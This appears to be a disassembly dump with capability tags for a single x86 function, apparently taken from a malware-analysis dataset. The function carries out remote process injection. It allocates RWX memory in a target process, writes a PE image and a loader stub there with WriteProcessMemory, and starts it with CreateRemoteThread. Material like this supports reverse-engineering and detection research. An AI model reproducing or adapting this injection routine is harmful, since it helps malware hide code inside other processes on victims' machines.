Function at 0x401050
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
mov ebx, edx
mov eax, 0x5a4d
push esi
mov esi, ecx
push edi
mov dword [ebp - 0xc], esi
cmp word [ebx], ax
jne 0x40145b
mov edi, dword [ebx + 0x3c]
mov eax, 0x14c
add edi, ebx
mov dword [ebp - 8], edi
cmp word [edi + 4], ax
jne 0x40145b
push 4
push 0x3000
push dword [edi + 0x50]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 4], eax
test eax, eax
je 0x40145b
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
push ecx
push 0x40
push dword [edi + 0x50]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x1000
mov dword [ebp - 0x3c], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 4]
push eax
push esi
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401443
movzx esi, word [edi + 0x14]
mov eax, dword [ebp - 8]
add esi, edi
xor edi, edi
cmp word [eax + 6], di
je 0x401156
add esi, 0x2c
nop dword [eax]
mov eax, dword [esi - 4]
test eax, eax
je 0x401147
push 0
push eax
mov eax, dword [esi]
add eax, ebx
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401447
mov eax, dword [ebp - 8]
inc edi
add esi, 0x28
movzx eax, word [eax + 6]
cmp edi, eax
jne 0x401120
mov ebx, dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
push 0x3000
push 0x1c
push 0
push ebx
call esi
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40144a
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ecx, [ebp - 0x3c]
push 0
push 0x1c
push ecx
push eax
push ebx
call edi
test eax, eax
je 0x40141a
push 0x40
push 0x3000
push 0x1000
push 0
push ebx
call esi
mov esi, eax
mov dword [ebp - 0x18], esi
test esi, esi
je 0x40141a
push 0
push 0x1000
push 0x401470
push esi
push ebx
call edi
test eax, eax
je 0x4013e3
push 0
push 0
push dword [ebp - 0xc]
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x4013e3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1400000
call fcn.0040b31e
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
test esi, esi
je 0x40145b
push 0x1400000
push 0
push esi
call fcn.00408a20
add esp, 0xc
push 0
push 0x1000
push esi
push dword [ebp - 4]
push ebx
call edi
mov edi, dword [ebp - 8]
mov dword [ebp - 0x10], 0
movzx ecx, word [edi + 0x14]
lea esi, [edi + 0x18]
mov eax, ecx
mov edx, ecx
add esi, eax
movzx eax, word [edi + 6]
mov ecx, eax
test ax, ax
je 0x40131c
xor edx, edx
nop word [eax + eax]
cmp dword [esi + 8], 0
je 0x401303
mov ecx, 0x431360
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401281
test dl, dl
je 0x40127d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401281
add eax, 2
add ecx, 2
test dl, dl
jne 0x401261
xor eax, eax
jmp 0x401286
sbb eax, eax
or eax, 1
test eax, eax
je 0x4012ea
mov ecx, str..rsrc
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4012b1
test dl, dl
je 0x4012ad
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4012b1
add eax, 2
add ecx, 2
test dl, dl
jne 0x401291
xor eax, eax
jmp 0x4012b6
sbb eax, eax
or eax, 1
test eax, eax
je 0x4012ea
mov ecx, str..reloc
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4012e1
test dl, dl
je 0x4012dd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4012e1
add eax, 2
add ecx, 2
test dl, dl
jne 0x4012c1
xor eax, eax
jmp 0x4012e6
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401300
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 4]
push 0
push dword [esi + 8]
push dword [ebp - 0x14]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 0x10]
movzx eax, word [edi + 6]
inc edx
add esi, 0x28
mov dword [ebp - 0x10], edx
mov ecx, eax
cmp edx, eax
jne 0x401250
movzx edx, word [edi + 0x14]
lea esi, [edi + 0x3c]
movzx eax, dx
xor edi, edi
test cx, cx
mov ecx, dword [ebp - 8]
je 0x401389
add esi, eax
nop
mov edx, dword [esi - 0x1c]
test edx, edx
je 0x401379
mov ecx, dword [esi]
mov eax, 2
mov dword [ebp - 0x10], 0
test ecx, 0x80000000
jbe 0x401354
mov eax, 4
jmp 0x401362
test ecx, 0x20000000
mov ecx, 0x20
cmova eax, ecx
lea ecx, [ebp - 0x10]
push ecx
push eax
mov eax, dword [esi - 0x18]
add eax, dword [ebp - 4]
push edx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov ecx, dword [ebp - 8]
movzx eax, word [ecx + 6]
inc edi
add esi, 0x28
cmp edi, eax
jne 0x401330
movzx eax, word [ecx + 0x14]
lea edx, [ebp - 0x20]
movzx eax, ax
push edx
push 2
mov dword [ebp - 0x20], 0
push dword [eax + ecx + 0x24]
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edi, dword [ebp - 0x18]
push 0
push 0x1000
push dword [ebp - 0x14]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push edi
push ebx
call esi
push 0x8000
push 0
push dword [ebp - 0xc]
push ebx
call esi
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 4]
push ebx
call esi
push 0x8000
push 0
push dword [ebp - 0xc]
push ebx
call esi
mov edi, dword [ebp - 0x18]
push 0x8000
push 0
push edi
push ebx
call esi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 4]
push ebx
call esi
push 0x8000
push 0
push dword [ebp - 0xc]
push ebx
call esi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, esi
jmp 0x40144a
mov ebx, dword [ebp - 0xc]
push 0x8000
push 0
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret